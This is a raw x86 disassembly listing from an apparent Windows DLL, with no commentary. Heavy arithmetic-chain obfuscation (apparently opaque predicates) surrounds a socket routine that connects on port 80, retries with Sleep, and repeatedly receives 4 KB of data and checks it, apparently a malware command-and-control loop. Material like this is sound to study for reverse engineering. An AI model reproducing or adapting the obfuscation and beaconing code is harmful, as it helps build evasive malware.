and eax, 0x9dc82a1c
imul eax, eax, 0xad28f6f8
or eax, 0x87ef4de7
mov ecx, 0xa7d18a
xor edx, edx
div ecx
mov ecx, 0xbe062f01
xor edx, edx
div ecx
and eax, 0xc4d7a924
sub eax, 0x601ee1e3
and eax, 0xb64cac3a
and eax, 0xeca62083
or eax, 0xe97713cf
xor eax, 0xc2451bef
add eax, 0x79bbcc4c
xor eax, 0x56c0b6ec
and eax, 0x448ee79e
mov ecx, 0x97be8302
xor edx, edx
div ecx
imul eax, eax, 0x94234fd9
xor eax, 0x1ea4d522
and eax, 0xa8c43049
or eax, 0x64e210ca
xor eax, 0xa4b977fa
xor eax, 0x7fcfef7c
imul eax, eax, 0x937f4396
sub eax, 0x910ca91b
sub eax, 0xef998826
mov ecx, 0x2a704b87
xor edx, edx
div ecx
sub eax, 0xf3381bdd
or eax, 0xe0288514
sub eax, 0xdca8cefa
cmp eax, 0xfa5d73d
jbe 0x100559c7
mov ecx, dword [esi + 0x80]
mov eax, dword [0x100c3af0]
and eax, dword [0x100c3af4]
mov edi, 0x77d2b05c
xor edx, edx
div edi
mov edi, 0x7b061a00
xor edx, edx
div edi
and eax, 0x2f97ee87
mov edi, 0x48268088
xor edx, edx
div edi
xor eax, 0x1767d926
sub eax, 0xf2810495
add eax, 0x33bcf374
or eax, 0xeefcc046
and eax, 0xa2871d55
add eax, 0x32e81eb6
or eax, 0x18b13306
mov edi, 0x606e6373
xor edx, edx
div edi
or eax, 0x2ff99271
and eax, 0x3659bb98
or eax, 0x92b559f3
imul eax, eax, 0xef0ba997
sub eax, 0xa3781a68
and eax, 0xe30d7ccd
xor eax, 0x271ffc9a
or eax, 0xd9de037d
and eax, 0xba5acc01
and eax, 0x5c59d761
imul eax, eax, 0x4ccb95e2
add eax, 0x6b155d2
imul eax, eax, 0x77c9b647
or eax, 0x93b549d7
sub eax, 0x7e668140
imul eax, eax, 0xdba91f4c
and eax, 0xb66a54a1
imul eax, eax, 0x407eeee3
sub eax, 0x41325d9
imul eax, eax, 0x4a3126f9
imul eax, eax, 0x56aab72d
sub eax, 0xe530caf2
sub eax, 0xeacf8b6b
imul eax, eax, 0x11b0819e
sub eax, 0xb7295384
or eax, 0xb56b7bf
imul eax, eax, 0x8acbe6c1
add eax, 0x3d964e76
xor eax, 0x908bdce9
mov edi, 0xb83645e7
xor edx, edx
div edi
sub eax, 0x5188e7aa
or eax, 0x9572d419
sub eax, 0xf769baf9
sub eax, 0xcd556539
or eax, 0x50eaf891
imul eax, eax, 0x5bd93c19
or eax, 0x8dfd2be
and eax, 0x6a7b427e
mov edi, 0xf33dac9
xor edx, edx
div edi
and eax, 0xca30c391
sub eax, 0x5c5e1352
and eax, 0x4f53d451
imul eax, eax, 0x24c6b67d
add eax, 0x6b4784e8
mov edi, 0x61c28c6c
xor edx, edx
div edi
xor eax, 0x5f965ffb
and eax, 0x32cc3483
mov edi, 0x7b55ef5a
xor edx, edx
div edi
or eax, 0x5cc9ad62
add eax, 0x1f18af11
mov edi, 0x1ee8bc9
xor edx, edx
div edi
or eax, 0xe4eb9a27
xor eax, 0x74d179cc
and eax, 0x1165317
xor eax, 0x97065402
and eax, 0xc3d15be5
and eax, 0x939ce2
sub eax, 0x4e5ce26f
add eax, 0x7eb401e9
and eax, 0x3df6e17e
cmp dword [ecx], 0
setne cl
mov byte [esi + 0x2b], cl
cmp eax, 0x1bdaef62
je 0x10052d79
mov al, byte [esi + 0x2b]
test al, 1
jne 0x10052f45
jmp 0x10052f82
mov ecx, dword [esi + 0x8c]
mov edx, dword [esi + 0x88]
mov edi, dword [esi + 0x48]
mov eax, dword [esi + 0x64]
mov eax, dword [eax]
xor ebx, ebx
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
call eax
mov ecx, eax
mov eax, dword [esi + 0x80]
mov dword [eax], ecx
jmp 0x10052bc0
mov ecx, dword [esi + 0x84]
mov edx, dword [esi + 0x90]
mov eax, dword [esi + 0x68]
mov edi, dword [esi + 0x8c]
mov edi, dword [edi]
mov edi, dword [edi + 0x18]
mov dword [edx], edi
mov eax, dword [eax]
mov edx, dword [edx]
add edx, 4
sub esp, 0x10
mov dword [esp], 2
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0x16
call eax
mov ecx, dword [esi + 0x84]
mov eax, dword [esi + 0x6c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], ecx
call eax
mov ecx, dword [esi + 0x94]
mov edx, eax
mov eax, dword [esi + 0x130]
mov dword [ecx], edx
mov ecx, dword [ecx]
mov eax, dword [eax]
mov dword [eax], ecx
mov eax, dword [0x100c3af8]
sub eax, dword [0x100c3afc]
add eax, 0x92e57e46
xor eax, 0x97403732
add eax, 0x4c3dc7d3
sub eax, 0xf8b0b3d3
imul eax, eax, 0x77f0485
sub eax, 0x7a9afbe4
add eax, 0xd2d60a24
or eax, 0x5742ea4e
add eax, 0xfcc61f72
or eax, 0x430520b
add eax, 0x62d729dc
xor eax, 0x378cc0fb
xor eax, 0x2c793c1b
imul eax, eax, 0xad618785
xor eax, 0xd441b14c
add eax, 0xee781099
sub eax, 0x4e858227
xor eax, 0xdfbb5c4a
mov ecx, 0xbe741542
xor edx, edx
div ecx
and eax, 0xc25c4985
add eax, 0x27dcb551
or eax, 0xe40b6eb6
imul eax, eax, 0xbb240e50
imul eax, eax, 0x648129cf
add eax, 0x3164665f
and eax, 0x247661db
or eax, 0x989ad381
add eax, 0xdd2a13e8
add eax, 0x970a93d
and eax, 0x882c6d22
add eax, 0x486de1f9
mov ecx, 0x9d4eb16
xor edx, edx
div ecx
xor eax, 0x3529e86
sub eax, 0x3b3aa64d
and eax, 0x10d7d6e0
or eax, 0x79974a2d
xor eax, 0xc4ec2e2e
imul eax, eax, 0x9bd81afd
mov ecx, 0x4dd99470
xor edx, edx
div ecx
or eax, 0x6f69c2c0
xor eax, 0x9ed7f68e
and eax, 0x1bd6e955
add eax, 0xbfab0ca0
imul eax, eax, 0x49bc6b16
add eax, 0x69767051
and eax, 0x6928e4a9
xor eax, 0x26e3bff6
xor eax, 0x32ef0fe8
sub eax, 0x2993fc3a
imul eax, eax, 0x61a6ec4e
mov ecx, 0xe8d72ca5
xor edx, edx
div ecx
xor eax, 0x10f33039
add eax, 0xc11653fd
xor eax, 0xbf8155ac
imul eax, eax, 0x1c15e492
imul eax, eax, 0x4eb0a02e
or eax, 0x7159f2ec
add eax, 0x95a250b3
add eax, 0x1177b5ef
sub eax, 0x761212d
or eax, 0xe213433e
sub eax, 0x9cf5162d
add eax, 0x3c0430b5
add eax, 0xe5964a1
mov ecx, 0x6b800c89
xor edx, edx
div ecx
sub eax, 0x8354c83e
imul eax, eax, 0x2dbbb3c6
imul eax, eax, 0xfdd1e815
add eax, 0xd8081d38
xor eax, 0xf1d1c6ec
xor eax, 0xc533bcaa
imul eax, eax, 0x3e5273c1
cmp eax, 0xca85d46b
ja 0x100559cc
mov edi, dword [esi + 0xcc]
mov ebx, dword [esi + 0xc8]
mov edx, dword [esi + 0xac]
mov eax, dword [esi + 0x98]
mov ecx, 0xe0931718
mov dword [esi + 0x24], ecx
mov ecx, dword [0x100c21e4]
mov dword [eax + 3], ecx
mov ecx, dword [0x100c21e1]
mov dword [eax], ecx
mov ecx, dword [esi + 0x9c]
mov eax, dword [esi + 0xa0]
movsd xmm0, qword [0x100c21c2]
movsd qword [ecx], xmm0
mov cl, byte [0x100c21f1]
mov byte [eax + 4], cl
mov ecx, dword [str._rW_f_]
mov dword [eax], ecx
mov ecx, dword [esi + 0xa4]
mov al, byte [0x100c21fb]
mov byte [ecx + 4], al
mov eax, dword [0x100c21f7]
mov dword [ecx], eax
mov eax, dword [esi + 0xa8]
mov ecx, dword [0x100c220e]
mov dword [eax + 8], ecx
mov ecx, dword [esi + 0x98]
movsd xmm0, qword [0x100c2206]
movsd qword [eax], xmm0
mov ax, word [0x100c221b]
mov word [edx + 4], ax
mov eax, dword [0x100c2217]
mov dword [edx], eax
mov eax, dword [esi + 0x128]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.10040280
mov ecx, dword [esi + 0x9c]
mov edx, dword [esi + 0xb0]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x128]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.10040280
mov ecx, dword [esi + 0xa0]
mov edx, dword [esi + 0xb4]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x128]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.10040280
mov edx, dword [esi + 0xb8]
mov ecx, dword [esi + 0xa4]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x128]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.10040280
mov edx, dword [esi + 0xbc]
mov ecx, dword [esi + 0xa8]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x128]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.10040280
mov ecx, dword [esi + 0xc0]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x128]
mov dword [ecx], edx
mov edx, dword [eax]
xor ecx, ecx
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], ecx
mov ecx, dword [esi + 0xac]
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.10040280
mov edx, dword [esi + 0x130]
add esp, 0xc
mov ecx, eax
mov eax, dword [esi + 0xc4]
mov dword [eax], ecx
mov ecx, dword [esi + 0xd0]
mov dword [ebx], 0x1000
mov dword [edi], 0
mov edx, dword [edx]
mov edx, dword [edx]
mov dword [ecx + 4], edx
mov word [ecx], 2
sub esp, 4
mov dword [esp], 0x50
call dword [eax]
mov ecx, dword [esi + 0xd0]
mov edx, eax
mov eax, dword [esi + 0xb0]
mov word [ecx + 2], dx
xor ecx, ecx
sub esp, 0xc
mov dword [esp], 2
mov dword [esp + 4], 1
mov dword [esp + 8], 0
call dword [eax]
mov edx, dword [esi + 0xd4]
mov ecx, dword [esi + 0xd0]
mov edi, eax
mov eax, dword [esi + 0xb4]
mov dword [edx], edi
mov eax, dword [eax]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x10
call eax
mov ecx, dword [esi + 0xcc]
mov edx, eax
mov eax, dword [esi + 0x24]
mov dword [ecx], edx
cmp eax, 0x44a5de82
je 0x10053188
jmp 0x100533ea
mov eax, dword [esi + 0xcc]
cmp dword [eax], 0xffffffff
jne 0x10053442
mov ecx, dword [esi + 0xd0]
mov edx, dword [esi + 0xd4]
mov eax, dword [esi + 0xb4]
mov eax, dword [eax]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x10
call eax
mov ecx, eax
mov eax, dword [esi + 0xcc]
mov dword [eax], ecx
sub esp, 4
mov dword [esp], 0x320
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100533ea
mov edi, dword [esi + 0xd4]
sub esp, 4
mov dword [esp], 0x104
call fcn.1006bd11
mov edx, dword [esi + 0xdc]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0xd8]
mov dword [eax], ecx
mov ecx, dword [0x100c222d]
mov dword [edx], ecx
mov ecx, dword [0x100c2231]
mov dword [edx + 4], ecx
mov ecx, dword [0x100c2235]
mov dword [edx + 8], ecx
mov ecx, dword [eax]
sub esp, 8
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.1008ca20
mov ecx, dword [esi + 0xd8]
add esp, 8
mov eax, dword [esi + 0x48]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.1008ca30
mov ecx, dword [esi + 0xd8]
add esp, 8
mov eax, dword [esi + 0x4c]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.1008ca30
mov ecx, dword [esi + 0xd8]
add esp, 8
mov eax, dword [esi + 0x44]
mov eax, dword [eax]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.1008ca30
add esp, 8
mov eax, dword [esi + 0xd8]
mov ecx, dword [eax]
lea eax, [0x100b7496]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.1008ca30
mov edx, dword [esi + 0xd8]
mov ecx, dword [esi + 0xb8]
add esp, 8
mov eax, dword [esi + 0xe0]
mov edx, dword [edx]
mov dword [eax], edx
mov ecx, dword [ecx]
mov dword [esi + 0x20], ecx
mov ecx, dword [eax]
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.1008cbb0
mov edx, dword [esi + 0xe0]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x20]
mov edx, dword [edx]
mov edi, dword [edi]
xor ebx, ebx
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
call eax
mov ecx, eax
mov eax, dword [esi + 0xcc]
mov dword [eax], ecx
cmp dword [eax], 0xffffffff
jne 0x100538ef
mov eax, dword [0x100c3b08]
xor edx, edx
div dword [0x100c3b0c]
or eax, 0xb4d9e4b
imul eax, eax, 0xdefe57da
add eax, 0xdcc9a778
imul eax, eax, 0xe9282555
imul eax, eax, 0xb7736019
imul eax, eax, 0xfbae8b7c
mov ecx, 0xb097cfef
xor edx, edx
div ecx
mov ecx, 0x9e2e3fba
xor edx, edx
div ecx
or eax, 0xe953292b
add eax, 0x662d7c7
xor eax, 0x849a7a56
sub eax, 0x3b4bf2a4
and eax, 0xf6a716b2
or eax, 0x63d6ecc1
add eax, 0x3d76303f
imul eax, eax, 0x9530412e
sub eax, 0x2f35a9a1
mov ecx, 0x15b4a70b
xor edx, edx
div ecx
imul eax, eax, 0xdd01c427
or eax, 0x609ecb59
imul eax, eax, 0x35e04e41
mov ecx, 0x536da418
xor edx, edx
div ecx
or eax, 0x378e962e
sub eax, 0x54ab596c
add eax, 0x13f78445
and eax, 0xe05aa1a7
xor eax, 0xfb7ab700
or eax, 0xe35922cb
xor eax, 0xb6ade316
or eax, 0x7dbff585
add eax, 0xa54718b2
xor eax, 0xce73e925
or eax, 0x12c6abdd
add eax, 0x608549c0
or eax, 0x847474d
xor eax, 0x5cbaa815
xor eax, 0x8f6272ab
sub eax, 0x6bb6a982
sub eax, 0xea961ec7
xor eax, 0xcfec1db4
xor eax, 0x45fd63ec
xor eax, 0xc74b7655
imul eax, eax, 0xbc9ed8b9
add eax, 0xb81fbc64
mov ecx, 0xba738782
xor edx, edx
div ecx
and eax, 0x24b0e72f
and eax, 0xfa46aa6d
imul eax, eax, 0xe69cde97
imul eax, eax, 0xb6b43ec
mov ecx, 0xcd86b077
xor edx, edx
div ecx
or eax, 0x662fbc6a
mov ecx, 0x3dadc873
xor edx, edx
div ecx
sub eax, 0x95f8aa79
add eax, 0xb621f35e
xor eax, 0xbbffe98b
and eax, 0x93a02f21
imul eax, eax, 0xca21b3d6
add eax, 0x37ab1bd2
xor eax, 0xc5ca29b7
and eax, 0x6151c5e9
sub eax, 0x803640cd
add eax, 0xe8920373
mov ecx, 0xf3dd49c4
xor edx, edx
div ecx
and eax, 0xd9f54ed6
xor eax, 0xc83204f8
or eax, 0x88c3b8e
or eax, 0x442a979f
add eax, 0x1da9fe21
xor eax, 0x4c9f94ee
imul eax, eax, 0x8e16ee52
sub eax, 0xb4567e23
imul eax, eax, 0x8d388da3
cmp eax, 0x5b091796
jae 0x10055c18
mov ecx, dword [esi + 0x38]
mov eax, dword [0x100c3b10]
sub eax, dword [0x100c3b14]
mov edi, 0x67ef354a
xor edx, edx
div edi
or eax, 0x217dd9ce
imul eax, eax, 0x968fb876
add eax, 0xcf2cba96
mov edi, 0x5ddb42af
xor edx, edx
div edi
sub eax, 0x2f855974
sub eax, 0xbc48f89b
imul eax, eax, 0x9d552f97
or eax, 0x19ecf101
sub eax, 0x81f7086b
sub eax, 0xe15cc9bb
or eax, 0x58e104ce
xor eax, 0xa4621bb9
and eax, 0xbc913f38
sub eax, 0xb1cbb058
sub eax, 0x3410bba5
imul eax, eax, 0xd5b6fb39
mov edi, 0x8fe91dd4
xor edx, edx
div edi
add eax, 0x94080e5a
imul eax, eax, 0xea7f046e
and eax, 0x3d520436
mov edi, 0xca5372fb
xor edx, edx
div edi
and eax, 0x29487d78
xor eax, 0xec1150a5
imul eax, eax, 0x397c4f28
imul eax, eax, 0xcad480d6
and eax, 0x1eec5a2d
add eax, 0xdf234dff
sub eax, 0xfc84221f
mov edi, 0xcbadb118
xor edx, edx
div edi
mov edi, 0x7477ee5
xor edx, edx
div edi
imul eax, eax, 0x30bff075
imul eax, eax, 0x37f99867
sub eax, 0x3c207f4c
and eax, 0x44b36e49
sub eax, 0x7a98eef8
imul eax, eax, 0x483a876d
mov edi, 0x45cc54ab
xor edx, edx
div edi
sub eax, 0x9e03a864
imul eax, eax, 0xbceecb42
add eax, 0xef0ea3c7
sub eax, 0xd4068947
imul eax, eax, 0x1789e7da
and eax, 0xe1b9cff3
add eax, 0xac094bcc
and eax, 0x4de61544
imul eax, eax, 0xd7e8f26a
xor eax, 0xc407fa11
and eax, 0x201ab917
mov edi, 0x5d53015
xor edx, edx
div edi
sub eax, 0x57dd3240
add eax, 0xe1d29c5a
mov edi, 0xbd2512b
xor edx, edx
div edi
and eax, 0xea2bbcdb
imul eax, eax, 0x3f50bc1b
imul eax, eax, 0xe91c610
imul eax, eax, 0xb92784a6
add eax, 0xae8b9e9e
and eax, 0xe6276d75
mov edi, 0x29f92d91
xor edx, edx
div edi
sub eax, 0x4d0e1c7c
and eax, 0xded40392
mov edi, 0xcbf9248a
xor edx, edx
div edi
or eax, 0xe57288fc
or eax, 0xcbf4e32d
or eax, 0x58842e97
sub eax, 0xd83a2d1
imul eax, eax, 0x4e980bf7
or eax, 0xe729a44c
and eax, 0xd55e0168
imul eax, eax, 0xd3933e8b
and eax, 0x1fb7becd
mov dword [ecx], 0
cmp eax, 0xfa85706e
jae 0x10055c18
jmp 0x1005549d
mov edi, dword [esi + 0xe8]
mov eax, dword [esi + 0xe4]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000
call fcn.1006f6e0
mov edx, dword [esi + 0xec]
mov ecx, dword [esi + 0xf0]
mov eax, dword [esi + 0xf8]
add esp, 0xc
mov dword [edi], 0
mov dword [edx], 0
mov dword [ecx], 1
mov dword [eax], 0
mov eax, dword [0x100c3b18]
and eax, dword [0x100c3b1c]
xor eax, 0x4cee25fe
add eax, 0x43ad3863
mov ecx, 0xff303206
xor edx, edx
div ecx
mov ecx, 0x5bfd743e
xor edx, edx
div ecx
or eax, 0xf6a20237
xor eax, 0x6efd2d83
add eax, 0x1c997362
add eax, 0x4962f2e7
xor eax, 0x718f23ee
sub eax, 0x32c29df7
imul eax, eax, 0x1481ac37
mov ecx, 0x7028b088
xor edx, edx
div ecx
or eax, 0x350fa732
imul eax, eax, 0xce312b88
mov ecx, 0x57f9ea49
xor edx, edx
div ecx
imul eax, eax, 0x6de83acb
add eax, 0xe650f717
or eax, 0x558f01b4
or eax, 0x3a31a947
imul eax, eax, 0xec5f1875
and eax, 0x9ba4b86d
and eax, 0xc73b0625
and eax, 0xb6eb985a
xor eax, 0x5853eda6
mov ecx, 0xd1b2f4
xor edx, edx
div ecx
add eax, 0xa58cea4
or eax, 0x903b488
or eax, 0x5f6931f0
and eax, 0xc1193c21
mov ecx, 0x203d8a2b
xor edx, edx
div ecx
sub eax, 0x1a013f6e
and eax, 0x93cdc732
or eax, 0x1e5e3ce6
and eax, 0xe8d4af1b
xor eax, 0x836bc5f8
or eax, 0x6708a439
sub eax, 0xb50605e2
mov ecx, 0x451eb9eb
xor edx, edx
div ecx
sub eax, 0x2ed53ea7
mov ecx, 0x9c9ab75e
xor edx, edx
div ecx
add eax, 0x5fa4e869
sub eax, 0x9a766852
xor eax, 0xf18ad
mov ecx, 0xbc62dd5d
xor edx, edx
div ecx
mov ecx, 0x9f7c2a8b
xor edx, edx
div ecx
or eax, 0x62151d3d
mov ecx, 0xf6b1d9d0
xor edx, edx
div ecx
mov ecx, 0xcfe1ece9
xor edx, edx
div ecx
xor eax, 0x98416fdc
sub eax, 0x5be4313b
xor eax, 0x79638fd4
add eax, 0x14f513db
add eax, 0x1a38c3b9
and eax, 0x9cd758d8
mov ecx, 0xa83987e2
xor edx, edx
div ecx
and eax, 0x45d69003
and eax, 0xbff8ad2c
add eax, 0x22fe37ee
mov ecx, 0x99774e54
xor edx, edx
div ecx
mov ecx, 0x71ca0085
xor edx, edx
div ecx
imul eax, eax, 0xb4d1e2eb
mov ecx, 0xa28c4bae
xor edx, edx
div ecx
and eax, 0xc4714329
imul eax, eax, 0xfc4b22d2
sub eax, 0x3bfe696a
and eax, 0x4419e566
and eax, 0x49a35296
sub eax, 0xf2c5143b
or eax, 0x8a9d5674
sub eax, 0x374ec4c4
or eax, 0xd2e6dc5
add eax, 0xaace3427
cmp eax, 0xc813d7cc
jae 0x10055c26
mov ecx, dword [esi + 0xd4]
mov eax, dword [0x100c3b20]
sub eax, dword [0x100c3b24]
imul eax, eax, 0xafe28111
sub eax, 0xd6f6ca80
mov edi, 0x68936c40
xor edx, edx
div edi
mov edi, 0xef6d6e90
xor edx, edx
div edi
xor eax, 0xad22f595
and eax, 0xc8d671fa
mov edi, 0xd65c9b0d
xor edx, edx
div edi
xor eax, 0x463ac278
imul eax, eax, 0xf7fbf748
mov edi, 0x185412d3
xor edx, edx
div edi
add eax, 0xc89bcc8
mov edi, 0x90e4a502
xor edx, edx
div edi
xor eax, 0xe9cb0c10
or eax, 0xcf41697d
imul eax, eax, 0x12db6654
imul eax, eax, 0x65bc0016
xor eax, 0x414337d4
xor eax, 0x5ea0388d
xor eax, 0xb1e6455f
and eax, 0xcef40e25
or eax, 0xe5b0df60
or eax, 0xea90fc51
mov edi, 0x1eea11ec
xor edx, edx
div edi
sub eax, 0xd9b1b813
or eax, 0xa8b7c541
xor eax, 0xcc9ac759
xor eax, 0xed02b531
imul eax, eax, 0x46563d8f
xor eax, 0xff2c72e2
sub eax, 0xd310a726
sub eax, 0xbf8a46d6
add eax, 0xd3cbafa2
xor eax, 0x5633b5ce
or eax, 0x94f1b308
mov edi, 0x5e72240e
xor edx, edx
div edi
xor eax, 0x71c3ab5c
and eax, 0x8e3baf9a
xor eax, 0xea82ece5
imul eax, eax, 0xc600952
xor eax, 0x194bfebd
xor eax, 0x75864b05
and eax, 0x135d6b98
sub eax, 0x9d2285ad
add eax, 0x7ac63d05
mov edi, 0x1a3ee11a
xor edx, edx
div edi
xor eax, 0x15343402
imul eax, eax, 0x9aae50a7
and eax, 0x2a18d8db
sub eax, 0x895564b2
imul eax, eax, 0xe8398cf7
sub eax, 0xe67c2566
and eax, 0x55c061e3
xor eax, 0x41756595
sub eax, 0x65133241
and eax, 0x7a0dc78b
or eax, 0xa7fec493
imul eax, eax, 0x21fdf8b7
add eax, 0x3001665e
or eax, 0xb41060ac
add eax, 0x3e54060a
mov edi, 0xa2e46c3f
xor edx, edx
div edi
and eax, 0xd43c36d3
imul eax, eax, 0xdb41e62d
mov edi, 0x8844ad85
xor edx, edx
div edi
sub eax, 0xb8e63af6
and eax, 0xa5cc109c
sub eax, 0xbe1d5074
xor eax, 0xaa6c5423
or eax, 0x768a56cc
mov edi, 0xab9373d
xor edx, edx
div edi
mov edx, eax
mov eax, dword [esi + 0xe4]
imul edx, edx, 0x260abf87
add edx, 0xee4dbc04
mov dword [esi + 0x18], edx
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_recv]
mov edx, dword [esi + 0xe8]
mov ecx, dword [esi + 0xe4]
mov edi, eax
mov eax, dword [esi + 0xfc]
mov dword [edx], edi
mov edx, dword [0x100c2221]
mov dword [eax], edx
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.1004d720
mov ecx, dword [esi + 0x100]
add esp, 8
mov edx, eax
mov eax, dword [esi + 0x18]
mov dword [ecx], edx
cmp dword [ecx], 0
setne cl
mov byte [esi + 0x1f], cl
cmp eax, 0xcf3e70f0
je 0x10053b09
mov al, byte [esi + 0x1f]
test al, 1
jne 0x10053d4a
jmp 0x10053d9f
mov eax, dword [esi + 0xd4]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
mov dword [esp], 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi + 0x3c]
mov ecx, dword [esi + 0x40]
mov edx, dword [esi + 0x44]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10051a60
add esp, 0xc
mov ecx, eax
mov eax, dword [esi + 0x38]
mov dword [eax], ecx
jmp 0x1005549d
sub esp, 0xc
mov dword [esp], 2
mov dword [esp + 4], 6
mov dword [esp + 8], 0x24
call fcn.10029050
add esp, 0xc
mov eax, dword [esi + 0xf0]
cmp dword [eax], 0
je 0x100541ca
mov eax, dword [0x100c3b28]
add eax, dword [0x100c3b2c]
imul eax, eax, 0xa82c1360
imul eax, eax, 0x2ade6cd5
imul eax, eax, 0xb9783423
or eax, 0x113f58e7
add eax, 0xb7fe841e
imul eax, eax, 0xbce7818f
mov ecx, 0xa4f5db0
xor edx, edx
div ecx
and eax, 0x2a47d671
imul eax, eax, 0xd0b145f0
add eax, 0xc747855a
xor eax, 0x5ad86d8a
and eax, 0xe11e2283
add eax, 0x54c5ac75
xor eax, 0xe3f459ca
imul eax, eax, 0x69939bf7
mov ecx, 0x66b414b0
xor edx, edx
div ecx
add eax, 0x9de0f475
sub eax, 0xef25dbed
add eax, 0xded8fd2
xor eax, 0xe4f90cd3
mov ecx, 0xa3ce7a74
xor edx, edx
div ecx
sub eax, 0x3bad1201
imul eax, eax, 0x4d0e5c49
or eax, 0x85f6999c
mov ecx, 0x23b8a855
xor edx, edx
div ecx
mov ecx, 0x8d31fa5
xor edx, edx
div ecx
xor eax, 0xbb578396
or eax, 0x3e73f737
add eax, 0x47379a20
and eax, 0x9a7c53d2
add eax, 0x6a5ad71f
imul eax, eax, 0xe6fc7705
and eax, 0xad958b96
xor eax, 0xddf684e8
add eax, 0xd3e7504b
xor eax, 0xc5deb06e
xor eax, 0x416ab688
xor eax, 0x814c939a
or eax, 0x6233824d
mov ecx, 0xc8d10090
xor edx, edx
div ecx
add eax, 0x2d32159b
imul eax, eax, 0x8d9093d7
mov ecx, 0x7e566efb
xor edx, edx
div ecx
mov ecx, 0x50e4f003
xor edx, edx
div ecx
xor eax, 0x3eaa28ed
mov ecx, 0x9d8727d0
xor edx, edx
div ecx
add eax, 0x49f46bab
sub eax, 0xed99df2a
xor eax, 0xc2d1add2
mov ecx, 0x712129c9
xor edx, edx
div ecx
imul eax, eax, 0x6ebd87b3
sub eax, 0xd5369edb
imul eax, eax, 0xdb200fbb
sub eax, 0xa42ad8e8
mov ecx, 0xe3cab2a6
xor edx, edx
div ecx
add eax, 0x42275318
mov ecx, 0x6b2b713c
xor edx, edx
div ecx
imul eax, eax, 0x3def0d9f
xor eax, 0xde573349
imul eax, eax, 0x9261f54
sub eax, 0x9fc64477
xor eax, 0x43ab606d
and eax, 0x31e397ac
imul eax, eax, 0x32395b51
or eax, 0xe3814608
and eax, 0x10e8136b
add eax, 0x1b19486b
xor eax, 0xfbf7199
sub eax, 0x416a4e8
imul eax, eax, 0x8b6ce9ae
mov ecx, 0x9c43cc0c
xor edx, edx
div ecx
sub eax, 0x1e41f90a
cmp eax, 0x72488642
jbe 0x10055c95
mov ecx, dword [esi + 0x3c]
mov eax, dword [0x100c3b30]
or eax, dword [0x100c3b34]
add eax, 0xeab2030e
sub eax, 0x73fdd2c5
add eax, 0xa2b2222d
imul eax, eax, 0x2e20eb69
or eax, 0x7f63dc35
imul eax, eax, 0xb68b636e
or eax, 0x9a76f2f9
add eax, 0x2e59615e
imul eax, eax, 0x7e6557c8
imul eax, eax, 0x719edf1e
add eax, 0x3fbe7a7f
sub eax, 0x5d2d23b0
sub eax, 0xffe2287f
imul eax, eax, 0x15908fca
xor eax, 0x8d39a25a
xor eax, 0x2d109780
and eax, 0xbd364345
mov edi, 0xf2dbeee5
xor edx, edx
div edi
or eax, 0x9aa3f2f6
or eax, 0x6e35aa4
mov edi, 0x977914f1
xor edx, edx
div edi
add eax, 0x71b390f9
mov edi, 0x9061c2e1
xor edx, edx
div edi
xor eax, 0x763d2615
mov edi, 0x4fd82936
xor edx, edx
div edi
or eax, 0x699e7ec1
or eax, 0x5467a3db
or eax, 0x2e311689
and eax, 0x3c3f612f
and eax, 0x7d66f757
add eax, 0x6cdcacb3
add eax, 0x765c2f8b
xor eax, 0xb02f353e
and eax, 0x18fba4bc
or eax, 0x9a72d2b3
and eax, 0xbe98ed9b
and eax, 0x3a973714
mov edi, 0x67537bd4
